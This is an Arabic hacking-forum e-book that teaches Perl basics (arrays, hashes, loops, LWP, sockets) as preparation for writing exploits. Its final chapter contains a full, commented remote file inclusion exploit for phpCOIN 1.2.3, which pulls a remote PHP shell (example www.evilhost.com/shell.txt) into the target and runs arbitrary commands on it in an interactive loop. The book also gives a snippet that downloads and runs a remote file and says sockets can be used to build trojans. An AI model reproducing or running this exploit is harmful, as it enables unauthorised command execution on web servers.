

# Perl Writing Exploits



# Perl Writing Exploits

# تعلم كتابة ثغراتك بلغة بيرل

# Alhambra

منتديات القناصين العرب

مكتبة الطارق الالكترونية

بسم الله الرحمن الرحيم

## جميع الحقوق محفوظ للكاتب

AlhambA

منتديات القناصين العرب

<http://www.sniper-sa.com/forums>



تم تصميم هذا الكتاب الالكتروني

لـ مكتبة الطارق الالكترونية

# # كل ما يبحث عنه المهاجر المسلم # #

<http://www.t0010.com>

تصميم الكتاب الالكتروني

aLTar3Q

---

*Quick Reference Guide*



*Programming*

---

1  
perl

O'Reilly & Associates, Inc.

## المحتويات : -

---

**0x01: المقدمة**

**0x02: الاساسيات في اللغة البيرل**

**0x03: المصفوفات Arrays**

**0x04: الهاش Hash**

**0x05: أدوات الشرط Conditionals**

**0x06: مدخلات المستخدمين User Input**

**0x07: التكرار Loop**

**0x08: التعامل مع الويب LibWWW**

**0x09: المقابس Sockets**

**0xA: كتابة الاستغلال**

**0xB: النهاية**

### ملاحظة مهمة :

الكاتب من موقع milw0rm اسمه Warpboy وهذا معروف في اكتشاف الثغرات وله عديد من السكريبتات في اللغة (حبير) تم ترجمته للفائدة.

## :: المقدمة ::

البيرل هي لغة سهلة في مقدورها معالجة النصوص وقد كانت بدايتها في تطبيقات اليونكس واليوم أصبحت البيرل تستخدم على كل أنظمة التشغيل تقريباً ، فهي نفس لغات البرمجة الأخرى ، وكل لغة ولها مميزات عن الأخرى .

فالبيرل فريدة من نوعها فهي سهلة التعلم وسهلة الاستعمال.

لماذا تكتب استغلال الثغرات بالبيرل عن غيرها ؟  
لانها الوحيدة تكتب فيها الاستغلال بنسبة حوالي 70%  
تكتب بالبيرل

والسبب بان اكثرا المهاجر يختارون هذه اللغة عن غيرها بسبب انها سهلة الترجمة وسهلة التحميل وهي كفؤة بالعمل ، وتنجز العمل بسرعة فائقة .

لو كان اهتمامك إيجاد الثغرات فهذا الموضوع الصحيح لكتبها بهذه اللغة .

## الأساسيات في لغة perl :

لكي يتنفذ برنامج في البيرل تحتاج لتحميل مترجم  
ActiveStates's perl

<http://www.activestate.us> حمله من هذا الموقع

وايضاً محرر نصي  
انا شخصياً استخدم هذا المحرر  
[www.dzsoft.com](http://www.dzsoft.com) تجده على هذا الموقع

او استخدم المفكرة  
او اذا لم تناسبي اكتب في الجوجل "perl Editor"  
وامتداد برنامجي في البيرل يكون .pl.

لنكتب اول برنامج في البيرل وهي طباعة الجملة  
"Hello World"

```
#!/usr/bin/perl -w
print "Hello World\n";
```

احفظه بهذه الاسم filename.pl

شرح الكود :

البداية لكتابة برنامج بالبيرل  
#!/usr/bin/perl -w هو متغير للتأكد من الخطأ . عموماً يستعمل لترتيب أخطانا المحرجة

ولتشغيل بدون اخطاء في ( ; ) لتخبر البيرل عن توقف القراءة على هذا الخط .

"\n" سطر جديد

وهذه حالات اخرى له

\n	<b>NewLine</b>
\r	<b>Return</b>
\t	<b>Tab</b>
\f	<b>Form Feed</b>
\b	<b>Backspace</b>
\v	<b>Vertical Tab</b>
\e	<b>Escape</b>
\a	<b>Alarm</b>
\L	<b>Lowercase All</b>
\l	<b>Lowercase Next</b>
\U	<b>Uppercase All</b>
\u	<b>Uppercase First</b>

مثال اخر

```
#!/usr/bin/perl -w
print "Hello\tWorld\n\a";
```

وكذلك في البيرل مثل باقي اللغات متغيرات اما تكون دائمة او مؤقتة ، ويمكن تحوي نصوص او ارقام وتعرف بالاشارة \$.

شاهد المثال التالي

```
#!/usr/bin/perl -w
$Hello = "Hello World\n";
print $Hello;
```

ويمكنك استخدام (' ) وهي تستخدم بكثرة في المصفوفات  
 الفرق بينهما لايمكن عمل '\n' فهي تظهر كنص  
 وايضا يمكنك ان تضف نص مع نص باستخدام DOT

```
#!/usr/bin/perl -w
#<---- "#" هنا لايتنفذ الكود بل هو تعليق بعد "
$YourName = "YOURNAME" ; # عرفنا المتغير $YourName
print "Hello" . " " . "World" . " " . "My" . " " . "Name" . " " . "Is" . " " .
"$YourName". "\n";
```

**Hello World My Name Is YourName**

وأيضا لها العديد من العمليات الرياضية مثل

```
#!/usr/bin/perl
#Adding, Subtracting, Multiplying, and Dividing in Perl
#Perl can do all basic math functions and more.
$a = 3 + 5; # الجمع
$b = 5 * 5; # الضرب
$c = 10 / 2; # القسمة
$x = 12 - 5; # الطرح
print $a . " " . "ADDITION: The solution should be 8.\n";
print $b . " " . "MULTIPLICATION: The solution should be 25.\n";
print $c . " " . "DIVISION: The solution should be 5.\n";
print $x . " " . "SUBTRACTION: The solution should be 7.\n";
#Autoincrementing and Autodecrementing
$Count = $Count + 1;
print "$Count\n";
# هنا نفس عملية القراءة
$Count1 += 1 ; #Decrement $Count1 -= 1
print "$Count1\n";
#Square Root الحذر التربيعى
$Square = sqrt(121) ;
print "The square root of 121 is $Square\n";
#Exponents الاس
$Exp = 2**5 ;
print "$Exp\n";
```

## المصفوفات : Arrays

لفهمها فهي تقوم بتعريف أكثر من متغير في مصفوفة واحدة ولتعريفها نستخدم الإشارة "@"

```
#!/usr/bin/perl
@arrayname=('var1','var2','var3');
print
$arrayname[0]."\n".$arrayname[1]."\n".$arrayname[2]
;
```

بدأنا في تعريف المصفوفة اسمها arrayname ومتضمنة المتغيرات var1, var2 ، var3 ثم قمنا بطباعة الصيغة الأولى.

مثال آخر:

```
#!/usr/bin/perl -w
@Hello = ('Hello', 'World');
print join(' ', @Hello) . "\n"; # join
```

الدالة join تستخدم عند طباعة مصفوفة.

مثال نفس السابق لكن بالطريقة Split

```
#!/usr/bin/perl -w
#The Split Method
$Sentence = "Hello my name is AlhambA.";
@Words = split( / /, $Sentence) ;
print "@Words" . " " . "That was splitting data" . "\n";
#The Longer Way
@Hello = ('Hello', 'World');
print $Hello[0] . " " . $Hello[1] . "\n";
#Count starts at 0 so 'Hello' = 0 and so on
```

## الطريقة **join** تشبه الى حد ما الطريقة **split**

فالطريقة **split** تجزء او تقسم الكلمات عند كل فراغ  
وهنا أيضا نفس العمل

```
#!/usr/bin/perl -w
@array = qw(bam bam bam bam);
print join(' ', @array);
#Simple
```

المصفوفات سهلة جداً واستخداماتها كثيرة في البرامج.

## : Hash

نوع من المتغيرات  
والهاش يعمل لكل شيء قرين ، مثلاً لون التفاحة حمراء  
ولون الموز اصفر  
ولتعريفها نستخدم الاشارة "%"   
مثال لفهم الهاش:

```
#!/usr/bin/perl -w
%color=("apple","red","banana","yellow");
print $color{apple}."\n".$color{banana};
```

ومسموح لك بنفس المثال

```
#!/usr/bin/perl
%color=(
apple =>"red",
banana =>"yellow");
print $color{apple}."\n".$color{banana};
```

## : Conditionals

**أدوات الشرط لفهمها نأخذ مثال**

لو وجد أحمد شجرة بها تفاح ، إذا كان غير جائع سيترك الشجرة ، وإذا كان جائع بياكل تفاحة واذا ما زال جائع بياكل واحدة ثانية وسيظل يأكل لمن يشبع ، وإذا امتلأت بطنه بيترك الشجرة.

**الصيغة:**

```
if ( Logical ) { some command }
```

**مثال**

```
#!/usr/bin/perl -w
$i = 1;
if($i ==1) {
    $i++; #Increment 1
    print $i . "\n";
#Print's 2 because the variable $i's condition was true
#If $i was any other '#' it wouldnt print anything.
}
```

المثال يبدأ بتعريف المتغير **i** ثم في السطر التالي يشتطر عليه اذا كان المتغير **i=1** ادخل ، غير ذلك سيخرج من البرنامج

ثم يضيف له 1 ويطبعة قيمة 2

ويمكن ان تستخدم أدوات الشرط في **string** الحروف النصية

**مثال:**

```
#!/usr/bin/perl -w
$i = Hello;
if($i eq 'Hello') {
print "Hello!\n";
}
else {
print "The variable (i) doesn't equal the correct string!\n";
}
```

**Else** معناها اذا لم يتحقق الشرط .

### المقارنة بين السلاسل الحرفية

<b>eq</b>	<b>equality</b>	يساوي
<b>NE</b>	<b>INEQUALITY</b>	لايساوي
<b>LT</b>	<b>LESS THEN</b>	اصغر من
<b>GT</b>	<b>GREATER THEN</b>	اكبر من
<b>LE</b>	<b>LESS THEN OR EQUAL</b>	اصغر من او يساوي
<b>GE</b>	<b>GREATER THEN OR EQUAL</b>	اكبر من او يساوي

### : User Input

الإدخال من خلال المستخدم ويستخدم عند كتابة استغلال للثغرة يطلب من المستخدم إدخال قيمة أو نص ، مثلاً لتشغيل الاستغلال فيقوم المستخدم بكتابة الاستعمال لكي تشغله معاه.

وهناك عدة طرق للادخال:

**STDIN Method** أولاً

هي عملية ادخال للبيانات

مثال

```
#!/usr/bin/perl -w
#STDIN Method
print "Hello my name is AlhambA, what is your name?: ";
$L1 = <STDIN>;
chomp $L1;
print "Nice to meet you $L1!\n";
```

: تعني بحذف السطر الجديد للحروف التي بعد chomp المتغير.

**الطريقة الثانية للادخال هي ARGV@ Method**

هذه ليست مصفوفة عادية

: بهذه يمكنك ان تضع المستخدم على خيارات ARGV@  
مثال:

```
perl sploit.pl www.somesite.com /forums/ 1
```

جميع هذه الخيارات يمكن ان تعدل  
ماعدا ( perl sploit.pl )

## في اغلب الاوقات ما نستخدم الخيارات بالطريقة @ARGV

```
#!/usr/bin/perl -w
if(@ARGV !=2) {
print "Usage: perl $0 <name> <number>\n";
exit;
}
($name, $num) = @ARGV;
print "Hello $name & your number was: $num!\n";
```

\$0 يستخدم هذا المتغير للأخذ اسم الملف المنفذ حالياً ويتم طباعته في المعلومات المخرجة .

## الطريقة الثالثة باستخدام module التي تسمى :GetOpt

```
#!/usr/bin/perl -w
#GetOpt STD module
use Getopt::Std;
getopts (:b:n:, \%args);
if (defined $args{n}) {
$n1 = $args{n};
}
if (defined $args{b}) {
$n2 = $args{b};
}
if (!defined $args{n} or !defined $args{b}){
print "Usage: perl $0 -n Name -b Number\n";
exit;
}
print "Hello $n1!\n";
print "Your number was: $n2\n";
print "Visit www.SnIpEr-SA.com today!\n\n";
```

ليس بالصعب الترجمة  
في السطر الثالث استدعاء الموديل المسماه Getopt

**وفي السطر الرابع getopts لها الأعلام -b,-n ، واستخدام  
%args للهاش لتخزينهم**

وفي السطر الخامس هنا يقول اذا كان موجود العلام -n  
في السطر السادس خزن المعلومات في المتغير n1 ،  
لن يدخل الى هذا الامر الا اذا كان العلام -n موجود.  
ونفس الشيء مع العلام -b  
وفي السطر الحادي عشر هنا يحدد الشرط اذا كان غير  
موجودين الأعلام  
or : كلها صائبة الا في حالة واحدة خاطئه.

سيدخل ويغلق البرنامج بالتعليمية exit الا عندما يكون  
العلامات معرفين فسيقفز الى الخارج ، ويطبع الباقي في  
المثال.

**وستكون الطريقة المفضلة لدينا باستعمال "GetOpt" module  
يجب ان يكون ببرنامجك سهل الاستخدام**

## **: Loop**

التكرار هو مفيد لتكرر كود ما  
يمكنك قراءة الكود فهو سهل القراءة ، فهي مجموعة في  
هذا الكود .

```
#!/usr/bin/perl -w
#Loop Tutorial
#www.SnIpEr-SA.com
#Join Us TODAY!
#####
#FULLY Commented#
#####
#While Loops
#Format
# while (Comparison) {
```

```
# Action }
#While loops will loop while the comparison is true, if it
changes to false, it will no longer continue to loop through
its set of action(s).
$i = 1;
while($i <= 5) {
print "While:" . $i . "\n";
$i++;
}
#For Loops
#Format
# for (init_expr; test_expr; step_expr;) {
# ACTION }
##
# Init expression is done first, then the test expression is
tested to be true or false then --
# the step expression is executed.
for($t = 1; $t <= 5; $t++) {
print "For:" . $t . "\n";
}
#Until Loops
#Format
# until (Comparison) {
# Action }
##
# An until loop tests the true false comparison, if it is true,
it will continue to loop until the comparison changes to a
# false state.
$p = 1;
until($p == 6) { #It's six because when $p becomes = 5,
it doesnt go through the set of action sequences;
therefore, 5 isn't printed.
print "Until:" . $p . "\n";
$p++;
}
#Foreach Loops
#Used most commonly to loop through lists
#Format
# foreach $num (@array) {
# Action }
```

```
$n = 1;
foreach $n (1..5) {
print "Foreach:" . $n . "\n";
$n++;
}
#End Tutorial
```

## LibWWW

**LibWWW او Lwp**  
**هو من الموديل وهي للتفاعل مع الويب وكذلك الدالة**  
**HTTP التي تتفاعل مع السيرفرات**

Lwp لها الكثير من الاستخدامات فهي تمثل جميعها بال  
**objects** وليس فقط في موديل واحد بل هناك مشتقة  
 الكثير منها  
 هناك واحد منها سيكون مألوف لك وهو **UserAgent**  
 وكذلك **Simple**.

### LWP

ليس معقد مطلقاً لذا يجب عليك إيجاد اكواد الويب التي  
 تتفاعل من اسكريبتات البيرل بعد قراءة هذا الفصل  
 وفهمها.

### وأول LWP module سنشرح

#### : LWP Simple module

من المحتمل سيكون احد اكثـر الموديل الغير مستخدمة  
 في كتابة استغلالـك ، لكنـه إسـاس قـوي لك لتطـوير نفسـك  
 وتعلـم عن الاختـلافـات بين مـودـيلـات LWP .

**ولكي نستخدم الموديل LWP ضروري ان نستدعى موقع هذه الموديل**

```
#!/usr/bin/perl
use LWP::Simple; # calls the module #
print "haha?\n";
```

**موقعها في الجهاز 'C:\Perl\site\lib\LWP'**

**وتم استدعاءها بهذا السطر use LWP::simple;**  
**وبعض الدوال التي تاتي مع الموديل LWP :**

```
get($site);
getprint($site);
getstore($site, $savefile);
```

**url** تجلب لنا المستندات المطابقة من قبل get(\$site);  
**وترجعها**

**getprint(\$site);** تطبع مصدر صفحة الويب  
**getstore(\$site, \$savefile);** تحملها وتحفظ الملف في مجلد التنفيذ

**واذا اردت دوال اكثرب التي تاتي مع الموديل lwp قم بزيارة**

**<http://search.cpan.org/dist/libwww-perl/lib/>**

**نشاهد هذا المثال لفتح صورة لتعرف ايضاً كيف يتم التحميل في الويب**

```
#!/usr/bin/perl
#Perl Web Downloader
#///Config///#
use LWP::Simple;
getstore('http://secure0000.110mb.com/Banner.jpg',
'Banner.jpg'); #downloads + stores file
system('Banner.jpg'); #executes the
sleep(3); #sleeps (waits)
unlink ('Banner.jpg'); #deletes the file
```

بداء في التعريف وثم حملها وحفظ الملف في الجهاز ثم فتحها ثم انتظر 3 ثواني ثم حذف الملف.

## **LWP UserAgent: موديل**

هذا الموديل له المزيد من المميزات عن موديل Simple ولكن ليس عليك ان تتعلم هذه المميزات لكتابه استغلالك بل فقط سنعطي واحدة من هذه المميزات لكتابه استغلالك.  
و اذا اردت التوسع ينصح بقراءة هذا المستند

<http://search.cpan.org/~qaas/libwww-...P/UserAgent.pm>

**: GET دعونا نتعلم عن الطلب**

HTTP/1.1 هذا البروتوكول يعرف الطلب GET يطلب الالات من المصدر المحدد الى المكان البعيد ، وهي الطريقة الاكثر شيوعاً وتستعمل على الشبكة اليوم ونستعمل الطلب GET لنحصل على طلبات من عنوان الموقع

**Digest::MD5 ولنرى ايضاً الموديل**

**هذا الموديل يسمح لك بالتشغير وهناك دوال خاصة به  
وكذلك طرق**

**الدوال هي**

```
md5($data,...)
md5_hex($data,...)
md5_base64($data,...)
```

**md5(\$data,...)**  
**هذه الدالة تحسب MD5 digest ثم تعيدها في الشكل الثنائي binary طولها 16 بايت.**

**md5\_hex(\$data,...)**  
**نفس السابق لكن تعيد الشكل السادس عشر طولها 32 hexadecimal**  
**المحتوى يكون 'a'..'f' و '0'..'9'**

**md5\_base64(\$data,...)**  
**نفس السابق لكن تعيد الشكل base64 المشفر طولها 22**  
**المحتوى يكون '/ ' و '0'..'9' و 'a'..'z' و 'A'..'Z'**

**مثال:**

```
use Digest::MD5 qw(md5_hex);
print "Digest is ", md5_hex("foobarbaz"), "\n";
```

**وهذا الخرج**

```
Digest is 6df23dc03f9b54cc38a0fc1483df6e21
```

## هذا الرابط يتحدث عن Digest::MD5

<http://search.cpan.org/~qaas/Digest-MD5-2.36/MD5.pm>

نعود لطلب GET ما يهمنا  
في هذا المثال سنقوم باطلب GET على قاعدة بيانات  
LWP UserAgent وتخزينها فيها مع الموديل Md5

```
#!/usr/bin/perl
# Md5 Database Filler #
# Version 1.0, Add Word Manually #
# www.SnIpEr-SA.com #
# Modules needed : LWP (User Agent), Digest (MD5) #
# Download + INSTALL md5 digest module #
use LWP::UserAgent; # Calling our LWP Useragent module
use Digest::MD5 qw(md5_hex); # Calling our Digest MD5
module (Install {if you need it})
$brow = LWP::UserAgent->new; # Our new useragent
defined under the variable $brow
while(1) {
# Just a simple while loop that will run the program
continously instead of just 1 time
print "Word to add: ";
$var = <STDIN>;
chomp ($var);
$seek = "http://md5.rednoize.com/?q=\$var&b=MD5-Search";
$brow->get( $seek ) or die "Failed to Send GET
request!\n";
print "$var" . " : " . md5_hex("$var") . " was added to
database " . "\n";
}
# End of the while loop
# To test if it worked go to http://md5.rednoize.com/ and
search your md5(hex) hash given to you
# It should crack :)
# This was a simple example of a get request executed on
a server
```

في هذا المثال يتم إستدعاء الموديل LWP (User Agent), Digest (MD5) وفي السطر التاسع عمل useragent جديدة ووضعها في المتغير \$brow.

وال التالي عمل تكرار لا نهائي.

وفي المتغير \$seek يعرف عنوان رابط قاعدة البيانات المعطى هنا سيخزن الاسم الذي ادخلته في القاعدة. وفي السطر التالي المتصفح سينفذ الطلب get على المتغير المعروف \$seek اذا كان حدث خطأ باطلب سيرسل رسالة الخطأ

وفي الاخير يتم طباعة الاسم الذي ادخلته وكذلك التشغيل بدالة الهكس .

و اذا اردت ان تتأكد من اضافة الاسم اذهب الى الموقع

<http://md5.rednoize.com/>

وبحث عن الاسم وستراه مع الهاش

المقابس في هذا الجزء سناخذ الاساسيات للموديل IO  
الادخال والاخراج (Input/Output) وهو Socket INET  
ويستخدم في استغلالات

## IO Socket INET module

للتجهيز العناصر المتفاعلة للإنشاء ، وتسخدم المقابس  
الدومين AF\_INET

في هذا المثال  
سننشاء مقبس بسيط للاتصال على ip على الپورت 80

```
#!/usr/bin/perl
use IO::Socket; # يستدعى الموديل IO Socket
print "An IP to connect to: ";
$ip = <STDIN>;# في الذاكره
chomp($ip);
$i=1;
while($i <=5) {
$sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>"$ip", PeerPort=>'80') or die"Couldn't
connect!\n";
#Proto or Protocol (TCP/UDP)
#PeerAddr or Peer Address لـ ip تستخدم
print "Connected!\n";
$i++;
}
```

هذا الموديل تستعمل في SQL injection exploits  
وكذلك لتكوين التروجان  
وهناك كتاب يتحدث عن Sockets مرفق .

## Writing an Exploit

**وهي ستكون على (RFI (Remote File Include))**

**الثغرة في برنامج phpCOIN 1.2.3**

**<http://milw0rm.com/exploits/2254>**

**www.site.com/coin\_includes/constants.php?\_CCFG[\_PKG\_PATH\_INCL]=SHELL?&cmd=COMMAND**

تم تقسيمه لكي تفهم الكود افهم كل كود فهو ليس  
صعب عليك الان

انسخ الكود الى مفكرة فهو غير واضح هنا

```
#!/usr/bin/perl
# http://milw0rm.com/exploits/2254 #
# phpCOIN 1.2.3 (_CCFG[_PKG_PATH_INCL]) Remote
Include Vulnerability #
# Vulnerability found by TimQ #
# Coded Exploit By Warpboy #
use LWP::UserAgent; # We call our module
#Store our user inputted information into variables
$site = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
if($site!~/http://\// || $site!~/http:\// || !$shellsite)
{
usg() # If the Url is invalid jump to the usg subroutine
      # واقع في اسفل الاستغلال كان صحيح سينفذ
      # ثم بعد ذلك الشرط سيشتغل
}
header(); # Run through contents in the header
subroutine # وكذلك header subroutine سينفذ في الجزء
           # اسفل الاستغلال ستستدعي بدون شرط
```

```
#-----  
# Some loops to give us the ability to continue to use  
more than one command on the server.  
# Without these we would have to re-start the exploit for  
each command  
 بواسطة لووب ستطيع الاستمرار في اعطاء اوامر الى السيرفر  
 وليس امر واحد فقط عند تنفيذ البرنامج وحتى الاخطاء تنفذ  
 باستمراار لوكى تنفذ الاستغلال من الضوره الدخول هنا في  
 اي تنفذ while(1) == while() وهذا عملنا while() == while(1) في الحلقة  
 باستمرااررررر  
while()  
{  
print "[shell] \$";  
while(<STDIN>) # Recognize STDIN as a user input  
method, while(<STDIN>) basically states that while your  
taking user input for the command, do the following.  
{  
    سندخل هنا الاوامر المراد تنفيذها#  
    $cmd=$_; #@_ :the argument passed to sub routine  
    chomp($cmd); #Chomps the newline off the user inputted  
    command  
#-----  
 بهذا من الكود نستفيد LWP Useragent module عند معرفتنا #  
 من الثغره الفعلية ولكي تعمل منها استغلاتك  
$xpl = LWP::UserAgent->new() or die;  
#Defines the variable $xpl as a new useragent  
$req = HTTP::Request-  
>new(GET=>$site.'/coin_includes/constants.php?_CCFG[_  
_PKG_PATH_INCL]='.$shellsite.'?&'.$shellcmd.'='.$cmd)o  
r die "\n\n Failed to Connect, Try again!\n";  
ويرسل الثغرة الى الموقع المصاپ get سيعرف الطلب#  
وعلى المستخدم ادخال الموقع get ينفذ الطلب $req المتغير#  
ثم يطبق على الموقع الثغرة. $site المصاپ في المتغير  
##$shellsite where the php backdoor is located, is the  
$shellcmd (php shell command variable) and $cmd  
variable which was the user  
#$shellcmd inputted command to execute on the server  
with the php backdoor. The final url
```

```
# Would look like
#
السلسله هذه ستعمل دمج لمتغيرات في شكل واحد ويتم #
دمجها في المتغير $req
$res = $xpl->request($req);
والمحتوى المدمج سيسترجع من get ينفذ الطلب $res المتغير#
ويحزن في المتغير $info
# The response of the server to the GET request we sent is
stored in the $info variable
ويرسلها ويحزنها في المتغير get سيستجيب الخادم من الطلب #
$info
$info = $res->content;
$info =~ tr/[\\n]/[ê]/;
#-----
هذه مجموعة من الشروط التى تختبر محتويتنا المعادة من #
مثلاً اذا كان الخطأ من ادخال المستخدم او خطأ get اخطأ الطلب
في الامر او الخطأ في او الخطأ في الموقع مثلا يقول لنا خطأ في
الاتصال لكي يكون من السهل معرفة الخطأ الذى قمنا به
#Simple conditional
```

```
if (!$cmd) {
print "\nEnter a Command\n\n"; $info = "";
}
#Tests to see if there was a connection failure or the
command failed
# هنا يختبر اذا كان الاتصال خطأ او الامر خطأ
elsif ($info =~/failed to open stream: HTTP request
failed!/ || $info =~/: Cannot execute a blank command in
<b>/)
{
print "\nCould Not Connect to cmd Host or Invalid
Command Variable\n";
exit;
}
# Another ElseIf, this is used incase the command is
invalid like if you typed "asdfjasdf" as a command
# هنا اذا طبعت الاوامر غير صحيحة مثلا "asdfjasdf"
elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
```



## Perl Writing Exploits

```
}

#-----
#This is just our "usg" sub-routine and a simple exit if all
the code is bypassed due to errors ect
sub usg()
{
header();
print q{
=====
=====

Usage: perl exploit.pl <phpCOIN FULL PATH> <Shell
Location> <Shell Cmd>
<phpCOIN FULL PATH> - Path to site exp. www.site.com
<Shell Location> - Path to shell exp.
www.evilhost.com/shell.txt
<Shell Cmd> - Command variable for php shell
Example: perl C:\exploit.pl
http://www.site.com/phpCOIN/
=====
=====

};

exit();
}

#-----
```

## النهاية

**ما نرجوه منكم الا الدعاء في ظهر غيب  
والسلام عليكم ورحمة الله**

**اخوكم AlhambA**

**ایمیل:**

[security-0000@hotmail.com](mailto:security-0000@hotmail.com)

[secure0000@yahoo.com](mailto:secure0000@yahoo.com)

**وللتوصّع في لغة البريل**

<http://www.cpan.org>

<http://www.securitydb.org/forum/>

<http://www.programmingtutorials.com/perl.aspx>

<http://www.pageresource.com/cgirec/index2.htm>

<http://www.cclabs.missouri.edu/thing...erlcourse.html>

[http://www.ebb.org/PickingUpPerl/pickingUpPerl\\_toc.html](http://www.ebb.org/PickingUpPerl/pickingUpPerl_toc.html)

<http://vbabu.org/tutorials/perl/>

<http://www.freeprogrammingresources.com/perl.html>

<http://www.thescripts.com/serverside...uru/page0.html>

<http://www.perl.com/pub/a/2002/08/20/perlandlwp.html>

<http://www.perl.com>

<http://www.perlmonks.org/index.pl?node=Tutorials>

[www.google.com](http://www.google.com)

**تم بحمد الله**